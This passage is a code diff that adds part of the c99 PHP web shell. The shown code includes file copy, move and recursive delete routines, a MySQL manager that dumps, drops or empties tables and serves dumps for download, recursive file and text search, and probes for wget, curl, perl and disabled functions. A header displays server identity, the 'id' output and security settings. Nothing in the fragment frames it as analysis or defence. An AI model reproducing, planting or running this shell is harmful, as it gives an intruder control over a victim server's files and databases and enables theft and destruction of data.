+ if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
+ else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
+ }
+ }
+ c99_buff_prepare();
+ if (!function_exists("c99_sess_put")) {
+ function c99_sess_put($data) {
+ global $sess_cookie;
+ global $sess_data;
+ c99_buff_prepare();
+ $sess_data = $data;
+ $data = serialize($data);
+ setcookie($sess_cookie,$data);
+ }
+ }
+ foreach (array("sort","sql_sort") as $v) {
+ if (!empty($_GET[$v])) {$$v = $_GET[$v];}
+ if (!empty($_POST[$v])) {$$v = $_POST[$v];}
+ }
+ if ($sort_save) {
+ if (!empty($sort)) {setcookie("sort",$sort);}
+ if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
+ }
+ if (!function_exists("str2mini")) {
+ function str2mini($content,$len) {
+ if (strlen($content) > $len) {
+ $len = ceil($len/2) - 2;
+ return substr($content, 0,$len)."...".substr($content,-$len);
+ } else {return $content;}
+ }
+ }
+ if (!function_exists("view_size")) {
+ function view_size($size) {
+ if (!is_numeric($size)) { return FALSE; }
+ else {
+ if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
+ elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
+ elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
+ else {$size = $size . " B";}
+ return $size;
+ }
+ }
+ }
+ if (!function_exists("fs_copy_dir")) {
+ function fs_copy_dir($d,$t) {
+ $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ $h = opendir($d);
+ while (($o = readdir($h)) !== FALSE) {
+ if (($o != ".") and ($o != "..")) {
+ if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
+ else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
+ if (!$ret) {return $ret;}
+ }
+ }
+ closedir($h);
+ return TRUE;
+ }
+ }
+ if (!function_exists("fs_copy_obj")) {
+ function fs_copy_obj($d,$t) {
+ $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
+ $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
+ if (!is_dir(dirname($t))) {mkdir(dirname($t));}
+ if (is_dir($d)) {
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
+ return fs_copy_dir($d,$t);
+ }
+ elseif (is_file($d)) { return copy($d,$t); }
+ else { return FALSE; }
+ }
+ }
+ if (!function_exists("fs_move_dir")) {
+ function fs_move_dir($d,$t) {
+ $h = opendir($d);
+ if (!is_dir($t)) {mkdir($t);}
+ while (($o = readdir($h)) !== FALSE) {
+ if (($o != ".") and ($o != "..")) {
+ $ret = TRUE;
+ if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
+ else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
+ if (!$ret) {return $ret;}
+ }
+ }
+ closedir($h);
+ return TRUE;
+ }
+ }
+ if (!function_exists("fs_move_obj")) {
+ function fs_move_obj($d,$t) {
+ $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
+ $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
+ if (is_dir($d)) {
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
+ return fs_move_dir($d,$t);
+ }
+ elseif (is_file($d)) {
+ if(copy($d,$t)) {return unlink($d);}
+ else {unlink($t); return FALSE;}
+ }
+ else {return FALSE;}
+ }
+ }
+ if (!function_exists("fs_rmdir")) {
+ function fs_rmdir($d) {
+ $h = opendir($d);
+ while (($o = readdir($h)) !== FALSE) {
+ if (($o != ".") and ($o != "..")) {
+ if (!is_dir($d.$o)) {unlink($d.$o);}
+ else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
+ }
+ }
+ closedir($h);
+ rmdir($d);
+ return !is_dir($d);
+ }
+ }
+ if (!function_exists("fs_rmobj")) {
+ function fs_rmobj($o) {
+ $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
+ if (is_dir($o)) {
+ if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
+ return fs_rmdir($o);
+ }
+ elseif (is_file($o)) {return unlink($o);}
+ else {return FALSE;}
+ }
+ }
+ if (!function_exists("tabsort")) {
+ function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}
+ }
+ if (!function_exists("view_perms")) {
+ function view_perms($mode) {
+ if (($mode & 0xC000) === 0xC000) {$type = "s";}
+ elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
+ elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
+ elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
+ elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
+ elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
+ elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
+ else {$type = "?";}
+ $owner["read"] = ($mode & 00400)?"r":"-";
+ $owner["write"] = ($mode & 00200)?"w":"-";
+ $owner["execute"] = ($mode & 00100)?"x":"-";
+ $group["read"] = ($mode & 00040)?"r":"-";
+ $group["write"] = ($mode & 00020)?"w":"-";
+ $group["execute"] = ($mode & 00010)?"x":"-";
+ $world["read"] = ($mode & 00004)?"r":"-";
+ $world["write"] = ($mode & 00002)? "w":"-";
+ $world["execute"] = ($mode & 00001)?"x":"-";
+ if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
+ if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
+ if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
+ return $type.join("",$owner).join("",$group).join("",$world);
+ }
+ }
+ if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
+ if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
+ if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
+ if (!function_exists("parse_perms")) {
+ function parse_perms($mode) {
+ if (($mode & 0xC000) === 0xC000) {$t = "s";}
+ elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
+ elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
+ elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
+ elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
+ elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
+ elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
+ else {$t = "?";}
+ $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
+ $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
+ $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
+ return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
+ }
+ }
+ if (!function_exists("parsesort")) {
+ function parsesort($sort) {
+ $one = intval($sort);
+ $second = substr($sort,-1);
+ if ($second != "d") {$second = "a";}
+ return array($one,$second);
+ }
+ }
+ if (!function_exists("view_perms_color")) {
+ function view_perms_color($o) {
+ if (!is_readable($o)) {return "".view_perms(fileperms($o))." ";}
+ elseif (!is_writable($o)) {return "".view_perms(fileperms($o))." ";}
+ else {return "".view_perms(fileperms($o))." ";}
+ }
+ }
+ if (!function_exists("mysql_dump")) {
+ function mysql_dump($set) {
+ global $sh_ver;
+ $sock = $set["sock"];
+ $db = $set["db"];
+ $print = $set["print"];
+ $nl2br = $set["nl2br"];
+ $file = $set["file"];
+ $add_drop = $set["add_drop"];
+ $tabs = $set["tabs"];
+ $onlytabs = $set["onlytabs"];
+ $ret = array();
+ $ret["err"] = array();
+ if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
+ if (empty($db)) {$db = "db";}
+ if (empty($print)) {$print = 0;}
+ if (empty($nl2br)) {$nl2br = 0;}
+ if (empty($add_drop)) {$add_drop = TRUE;}
+ if (empty($file)) {
+ $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
+ }
+ if (!is_array($tabs)) {$tabs = array();}
+ if (empty($add_drop)) {$add_drop = TRUE;}
+ if (sizeof($tabs) == 0) {
+ //Retrieve tables-list
+ $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
+ if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
+ }
+ $out = "
+ # Dumped by ".$sh_name."
+ #
+ # Host settings:
+ # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
+ # Date: ".date("d.m.Y H:i:s")."
+ # DB: \"".$db."\"
+ #---------------------------------------------------------";
+ $c = count($onlytabs);
+ foreach($tabs as $tab) {
+ if ((in_array($tab,$onlytabs)) or (!$c)) {
+ if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
+ //Receieve query for create table structure
+ $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
+ if (!$res) {$ret["err"][] = mysql_smarterror();}
+ else {
+ $row = mysql_fetch_row($res);
+ $out .= $row["1"].";\n\n";
+ //Receieve table variables
+ $res = mysql_query("SELECT * FROM `$tab`", $sock);
+ if (mysql_num_rows($res) > 0) {
+ while ($row = mysql_fetch_assoc($res)) {
+ $keys = implode("`, `", array_keys($row));
+ $values = array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = implode("', '", $values);
+ $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
+ $out .= $sql;
+ }
+ }
+ }
+ }
+ }
+ $out .= "#---------------------------------------------------------------------------------\n\n";
+ if ($file) {
+ $fp = fopen($file, "w");
+ if (!$fp) {$ret["err"][] = 2;}
+ else {
+ fwrite ($fp, $out);
+ fclose ($fp);
+ }
+ }
+ if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
+ return $out;
+ }
+ }
+ if (!function_exists("mysql_buildwhere")) {
+ function mysql_buildwhere($array,$sep=" and",$functs=array()) {
+ if (!is_array($array)) {$array = array();}
+ $result = "";
+ foreach($array as $k=>$v) {
+ $value = "";
+ if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
+ $value .= "'".addslashes($v)."'";
+ if (!empty($functs[$k])) {$value .= ")";}
+ $result .= "`".$k."` = ".$value.$sep;
+ }
+ $result = substr($result,0,strlen($result)-strlen($sep));
+ return $result;
+ }
+ }
+ if (!function_exists("mysql_fetch_all")) {
+ function mysql_fetch_all($query,$sock) {
+ if ($sock) {$result = mysql_query($query,$sock);}
+ else {$result = mysql_query($query);}
+ $array = array();
+ while ($row = mysql_fetch_array($result)) {$array[] = $row;}
+ mysql_free_result($result);
+ return $array;
+ }
+ }
+ if (!function_exists("mysql_smarterror")) {
+ function mysql_smarterror($type,$sock) {
+ if ($sock) {$error = mysql_error($sock);}
+ else {$error = mysql_error();}
+ $error = htmlspecialchars($error);
+ return $error;
+ }
+ }
+ if (!function_exists("mysql_query_form")) {
+ function mysql_query_form() {
+ global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
+ if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error: ".$sql_query_error." ";}
+ if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
+ if ((!$submit) or ($sql_act)) {
+ echo "";
+ }
+ }
+ if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
+ }
+ }
+ if (!function_exists("mysql_create_db")) {
+ function mysql_create_db($db,$sock="") {
+ $sql = "CREATE DATABASE `".addslashes($db)."`;";
+ if ($sock) {return mysql_query($sql,$sock);}
+ else {return mysql_query($sql);}
+ }
+ }
+ if (!function_exists("mysql_query_parse")) {
+ function mysql_query_parse($query) {
+ $query = trim($query);
+ $arr = explode (" ",$query);
+ $types = array(
+ "SELECT"=>array(3,1),
+ "SHOW"=>array(2,1),
+ "DELETE"=>array(1),
+ "DROP"=>array(1)
+ );
+ $result = array();
+ $op = strtoupper($arr[0]);
+ if (is_array($types[$op])) {
+ $result["propertions"] = $types[$op];
+ $result["query"] = $query;
+ if ($types[$op] == 2) {
+ foreach($arr as $k=>$v) {
+ if (strtoupper($v) == "LIMIT") {
+ $result["limit"] = $arr[$k+1];
+ $result["limit"] = explode(",",$result["limit"]);
+ if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
+ unset($arr[$k],$arr[$k+1]);
+ }
+ }
+ }
+ }
+ else {return FALSE;}
+ }
+ }
+ if (!function_exists("c99fsearch")) {
+ function c99fsearch($d) {
+ global $found;
+ global $found_d;
+ global $found_f;
+ global $search_i_f;
+ global $search_i_d;
+ global $a;
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ $h = opendir($d);
+ while (($f = readdir($h)) !== FALSE) {
+ if($f != "." && $f != "..") {
+ $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
+ if (is_dir($d.$f)) {
+ $search_i_d++;
+ if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
+ if (!is_link($d.$f)) {c99fsearch($d.$f);}
+ }
+ else {
+ $search_i_f++;
+ if ($bool) {
+ if (!empty($a["text"])) {
+ $r = @file_get_contents($d.$f);
+ if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
+ if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
+ if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
+ else {$bool = strpos(" ".$r,$a["text"],1);}
+ if ($a["text_not"]) {$bool = !$bool;}
+ if ($bool) {$found[] = $d.$f; $found_f++;}
+ }
+ else {$found[] = $d.$f; $found_f++;}
+ }
+ }
+ }
+ }
+ closedir($h);
+ }
+ }
+ if ($act == "gofile") {
+ if (is_dir($f)) { $act = "ls"; $d = $f; }
+ else { $act = "f"; $d = dirname($f); $f = basename($f); }
+ }
+ //Sending Headers
+ @ob_start();
+ @ob_implicit_flush(0);
+ function onphpshutdown() {
+ global $gzipencode,$ft;
+ if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) {
+ $v = @ob_get_contents();
+ @ob_end_clean();
+ @ob_start("ob_gzHandler");
+ echo $v;
+ @ob_end_flush();
+ }
+ }
+ function c99shexit() {
+ onphpshutdown();
+ exit;
+ }
+ header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
+ header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
+ header("Cache-Control: no-store, no-cache, must-revalidate");
+ header("Cache-Control: post-check=0, pre-check=0", FALSE);
+ header("Pragma: no-cache");
+ //Setting Temporary Dir
+ if (empty($tmpdir)) {
+ $tmpdir = ini_get("upload_tmp_dir");
+ if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
+ }
+ $tmpdir = realpath($tmpdir);
+ $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
+ if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
+ if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
+ else {$tmpdir_logs = realpath($tmpdir_logs);}
+ //Getting Status
+ function showstat($stat) {
+ if ($stat=="on") { return "ON "; }
+ else { return "OFF "; }
+ }
+ function testperl() {
+ if (ex('perl -h')) { return showstat("on"); }
+ else { return showstat("off"); }
+ }
+ function testfetch() {
+ if(ex('fetch --help')) { return showstat("on"); }
+ else { return showstat("off"); }
+ }
+ function testwget() {
+ if (ex('wget --help')) { return showstat("on"); }
+ else { return showstat("off"); }
+ }
+ function testoracle() {
+ if (function_exists('ocilogon')) { return showstat("on"); }
+ else { return showstat("off"); }
+ }
+ function testpostgresql() {
+ if (function_exists('pg_connect')) { return showstat("on"); }
+ else { return showstat("off"); }
+ }
+ function testmssql() {
+ if (function_exists('mssql_connect')) { return showstat("on"); }
+ else { return showstat("off"); }
+ }
+ function testcurl() {
+ if (function_exists('curl_version')) { return showstat("on"); }
+ else { return showstat("off"); }
+ }
+ function testmysql() {
+ if (function_exists('mysql_connect')) { return showstat("on"); }
+ else { return showstat("off"); }
+ }
+ function showdisablefunctions() {
+ if ($disablefunc=@ini_get("disable_functions")){ return "".$disablefunc." "; }
+ else { return "NONE "; }
+ }
+ //Getting Safe Mode Status
+ if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
+ $safemode = TRUE;
+ $hsafemode = "SAFE MODE is ON (Secure) ";
+ }
+ else {
+ $safemode = FALSE;
+ $hsafemode = "SAFE MODE is OFF (Not Secure) ";
+ }
+ $v = @ini_get("open_basedir");
+ if ($v or strtolower($v) == "on") {
+ $openbasedir = TRUE;
+ $hopenbasedir = "".$v." ";
+ }
+ else {
+ $openbasedir = FALSE;
+ $hopenbasedir = "OFF (not secure) ";
+ }
+ $sort = htmlspecialchars($sort);
+ if (empty($sort)) {$sort = $sort_default;}
+ $sort[1] = strtolower($sort[1]);
+ $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
+ if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
+ $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"PHP/".phpversion()." ",htmlspecialchars($DISP_SERVER_SOFTWARE));
+ @ini_set("highlight.bg",$highlight_bg);
+ @ini_set("highlight.comment",$highlight_comment);
+ @ini_set("highlight.default",$highlight_default);
+ @ini_set("highlight.html",$highlight_html);
+ @ini_set("highlight.keyword",$highlight_keyword);
+ @ini_set("highlight.string",$highlight_string);
+ if (!is_array($actbox)) { $actbox = array(); }
+ $dspact = $act = htmlspecialchars($act);
+ $disp_fullpath = $ls_arr = $notls = null;
+ $ud = urlencode($d);
+ //Directory
+ $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
+ if (empty($d)) {$d = realpath(".");}
+ elseif(realpath($d)) {$d = realpath($d);}
+ $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ $d = str_replace("\\\\","\\",$d);
+ $dispd = htmlspecialchars($d);
+/***** HTML START *****/
+echo $html_start;
+echo "\n";
+echo "".
+ "Software : ".$DISP_SERVER_SOFTWARE ." - php.ini ".
+ "$hsafemode ".
+ "OS : ".php_uname()." ";
+if (!$win) { echo "User ID : ".myshellexec("id"); }
+else { echo "User : " . get_current_user(); }
+echo "
".
+ "Server IP : ".gethostbyname($_SERVER["HTTP_HOST"])." - ".
+ "Your IP : ".$_SERVER["REMOTE_ADDR"]." ";
+if($win){echo "Drives : ".disp_drives($d,$surl)." ";}
+echo "Freespace : ".disp_freespace($d);
+echo "
";
+echo "";
+echo "MySQL: ".testmysql()." MSSQL: ".testmssql()." Oracle: ".testoracle()." MSSQL: ".testmssql()." PostgreSQL: ".testpostgresql().
+ " cURL: ".testcurl()." WGet: ".testwget()." Fetch: ".testfetch()." Perl: ".testperl()." ";
+echo "Disabled Functions: ".showdisablefunctions();
+echo "
";
+echo "";
+if (count($quicklaunch2) > 0) {
+ foreach($quicklaunch2 as $item) {
+ $item[1] = str_replace("%d",urlencode($d),$item[1]);
+ $item[1] = str_replace("%sort",$sort,$item[1]);
+ $v = realpath($d."..");
+ if (empty($v)) {
+ $a = explode(DIRECTORY_SEPARATOR,$d);
+ unset($a[count($a)-2]);
+ $v = join(DIRECTORY_SEPARATOR,$a);
+ }
+ $item[1] = str_replace("%upd",urlencode($v),$item[1]);
+ echo "".$item[0]." \n";
+ }
+}
+echo " ";
+if (count($quicklaunch1) > 0) {
+ foreach($quicklaunch1 as $item) {
+ $item[1] = str_replace("%d",urlencode($d),$item[1]);
+ $item[1] = str_replace("%sort",$sort,$item[1]);
+ $v = realpath($d."..");
+ if (empty($v)) {
+ $a = explode(DIRECTORY_SEPARATOR,$d);
+ unset($a[count($a)-2]);
+ $v = join(DIRECTORY_SEPARATOR,$a);
+ }
+ $item[1] = str_replace("%upd",urlencode($v),$item[1]);
+ echo "".$item[0]." \n";
+ }
+}
+echo " ";
+echo "";
+$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
+$i = 0;
+foreach($pd as $b) {
+ $t = ""; $j = 0;
+ foreach ($e as $r) {
+ $t.= $r.DIRECTORY_SEPARATOR;
+ if ($j == $i) { break; }
+ $j++;
+ }
+ echo "".htmlspecialchars($b).DIRECTORY_SEPARATOR." ";
+ $i++;
+}
+echo " - ";
+if (is_writable($d)) {
+ $wd = TRUE;
+ $wdt = "[OK] ";
+ echo "".view_perms(fileperms($d))." ";
+}
+else {
+ $wd = FALSE;
+ $wdt = "[Read-Only] ";
+ echo "".view_perms_color($d)." ";
+}
+?>
+
+
+
+Directory:
+
+
+
+ \n";
+//Action
+if ($act == "") { $act = $dspact = "ls"; }
+if ($act == "phpini" ) { get_phpini(); }
+if ($act == "sql") {
+ $sql_surl = $surl."act=sql";
+ if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
+ if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
+ if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
+ if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
+ if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
+ $sql_surl .= "&";
+ echo "Attention! SQL-Manager is NOT a ready module! Don't reports bugs. ".
+ "".
+ "";
+ if (!$sql_sock) {
+ echo "If login is null, login is owner of process. If host is null, host is localhost If port is null, port is 3306 (default) ";
+ echo "Please, fill the form: ";
+ }
+ else {
+ //Start left panel
+ if (!empty($sql_db)) {
+ ?>">Home
+ ".htmlspecialchars($sql_db)." ]--- ";
+ $c = 0;
+ while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "+ ".htmlspecialchars($row[0])." (".$count_row[0].") "; mysql_free_result($count); $c++;}
+ if (!$c) {echo "No tables found in database.";}
+ }
+ }
+ else {
+ ?>Home
+
+ ".$row[0].""; $c++;}
+ echo "Databases (".$c.") ";
+ echo $dbs;
+ }
+ ?> Please, select database
+ ";
+ //Start center panel
+ $diplay = TRUE;
+ if ($sql_db) {
+ if (!is_numeric($c)) {$c = 0;}
+ if ($c == 0) {$c = "no";}
+ echo "There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db)."). ";
+ if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}
+ echo " ";
+ $acts = array("","dump");
+ if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
+ elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
+ elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
+ elseif ($sql_tbl_act == "insert") {
+ if ($sql_tbl_insert_radio == 1) {
+ $keys = "";
+ $akeys = array_keys($sql_tbl_insert);
+ foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
+ if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
+ $values = "";
+ $i = 0;
+ foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
+ if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
+ $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
+ $sql_act = "query";
+ $sql_tbl_act = "browse";
+ }
+ elseif ($sql_tbl_insert_radio == 2) {
+ $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
+ $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
+ $result = mysql_query($sql_query) or print(mysql_smarterror());
+ $result = mysql_fetch_array($result, MYSQL_ASSOC);
+ $sql_act = "query";
+ $sql_tbl_act = "browse";
+ }
+ }
+ if ($sql_act == "query") {
+ echo " ";
+ if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error: ".$sql_query_error." ";}
+ if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
+ if ((!$submit) or ($sql_act)) {echo "";}
+ }
+ if (in_array($sql_act,$acts)) {
+ ?>
+ ";}
+ if ($sql_act == "newtbl") {
+ echo "";
+ if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {
+ echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! ";
+ }
+ else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\". Reason: ".mysql_smarterror();}
+ }
+ elseif ($sql_act == "dump") {
+ if (empty($submit)) {
+ $diplay = FALSE;
+ echo "SQL-Dump: ";
+ echo "DB: ";
+ $v = join (";",$dmptbls);
+ echo "Only tables (explode \";\") 1 : ";
+ if ($dump_file) {$tmp = $dump_file;}
+ else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
+ echo "File: ";
+ echo "Download: ";
+ echo "Save to file: ";
+ echo "1 - all, if empty";
+ echo " ";
+ }
+ else {
+ $diplay = TRUE;
+ $set = array();
+ $set["sock"] = $sql_sock;
+ $set["db"] = $sql_db;
+ $dump_out = "download";
+ $set["print"] = 0;
+ $set["nl2br"] = 0;
+ $set[""] = 0;
+ $set["file"] = $dump_file;
+ $set["add_drop"] = TRUE;
+ $set["onlytabs"] = array();
+ if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
+ $ret = mysql_dump($set);
+ if ($sql_dump_download) {
+ @ob_clean();
+ header("Content-type: application/octet-stream");
+ header("Content-length: ".strlen($ret));
+ header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
+ echo $ret;
+ exit;
+ }
+ elseif ($sql_dump_savetofile) {
+ $fp = fopen($sql_dump_file,"w");
+ if (!$fp) {echo "Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
+ else {
+ fwrite($fp,$ret);
+ fclose($fp);
+ echo "Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).") .";
+ }
+ }
+ else {echo "Dump: nothing to do! ";}
+ }
+ }
+ if ($diplay) {
+ if (!empty($sql_tbl)) {
+ if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
+ $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
+ $count_row = mysql_fetch_array($count);
+ mysql_free_result($count);
+ $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
+ $tbl_struct_fields = array();
